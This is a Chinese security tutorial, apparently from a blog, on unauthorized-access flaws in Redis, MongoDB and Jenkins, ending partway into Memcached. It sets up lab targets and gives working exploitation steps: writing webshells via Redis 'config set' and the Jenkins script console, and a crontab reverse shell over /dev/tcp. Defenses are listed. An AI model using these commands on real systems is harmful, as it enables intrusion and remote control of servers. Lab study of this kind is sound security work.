本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

常见的未授权访问漏洞:

Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
Docker 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞

Redis未授权访问漏洞

漏洞简介以及危害

  Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

漏洞利用

环境介绍
目标靶机: Centos7
ip地址: 192.168.18.138

连接工具:Xshell
环境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译

cd src/ #进入src目录 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd ..   # 返回上一级目录
cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

服务启动成功!

服务启动成功

为了方便,在windows攻击机里下载一个redis clinet

下载地址:https://github.com/caoxinyu/RedisClient/releases (利用redis写webshell测试使用)

下载地址:https://github.com/dmajkic/redis/downloads (利用crontab反弹shell测试使用)

未授权访问测试

使用redis clinet 直接无账号成功登录redis

从登录结果可以看出redis未启用认证。

利用redis写webshell
利用前提:
靶机redis未授权,在攻击机能用redis clinet连接,如上图,并未登录验证
靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

靶机网站路径:/var/www/html/

这里我们调出Console


由于本地搭建,我们已经知道网站路径,我们把shell写入/var/www/html/目录下:

config set dir /var/www/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save

访问test.php

利用crontab反弹shell

端口监听:
在攻击机上监听一个端口(未被占用的任意端口):

nc -lvnp 5555

连接redis,写入反弹shell

redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save

反弹shell成功!

nmap检测
nmap -p 6379 --script redis-info <target>
地址:https://svn.nmap.org/nmap/scripts/redis-info.nse

Redis-RCE

最近出的Redis-RCE,该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。

防御手段

-禁止使用root权限启动redis服务。

-对redis访问启动密码认证。

-添加IP访问限制,并更改默认6379端口。

MongoDB 未授权访问漏洞

漏洞简介以及危害

  开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。

  造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

漏洞利用

环境介绍
目标靶机: Kali
ip地址: 192.168.18.128

连接工具:Xshell
环境搭建

这里使用docker (https://www.runoob.com/docker/docker-tutorial.html 可自行Google)

docker search mongodb  # 从Docker Hub查找镜像

docker pull mongo  #从镜像仓库中拉取或者更新指定镜像

docker images mongo #列出本地主机上的mongo镜像

docker run -d -p 27017:27017 --name mongodb mongo  # 创建一个新的容器并运行一个命令
docker ps -a # 显示所有的容器,包括未运行的


未授权访问测试

这里使用 NoSQLBooster

下载地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe


nmap检测
nmap -p 27017 --script mongodb-info <target>
地址:http://nmap.org/svn/scripts/mongodb-info.nse

防御手段

-为MongoDB添加认证:MongoDB启动时添加--auth参数、为MongoDB添加用户

-MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false

-启动时加入参数--bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

Jenkins 未授权访问漏洞

漏洞简介以及危害

  默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

漏洞利用

环境介绍
目标靶机: kali
ip地址: 192.168.18.129

连接工具:Xshell
环境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载

下载地址:http://mirrors.jenkins.io/

dpkg -i jenkins_1.621_all.deb # 安装
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行

开启Jenkins服务
service jenkinis start

浏览器访问http://192.168.18.129:8080/
如下图所示说明环境搭建成功

未授权访问测试

访问http://192.168.18.129:8080/manage可以看到没有任何限制可以直接访问

Jenkins未授权访问写shell

点击“脚本命令执行”

执行系统命令

println "whoami".execute().text


网站路径:/var/www/html (需要具备一定的权限)
利用“脚本命令行”写webshell,点击运行没有报错,写入成功

new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');


访问shell.php

更多利用方式可参考:https://www.secpulse.com/archives/2166.html

防御手段

-升级版本。
-添加认证,设置强密码复杂度及账号锁定。

-禁止把Jenkins直接暴露在公网。

Memcached 未授权访问漏洞

漏洞简介以及危害

  Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。

漏洞利用

环境介绍
目标靶机: Windows Server 2012
点击收藏 | 45 关注 | 12
登录 后跟帖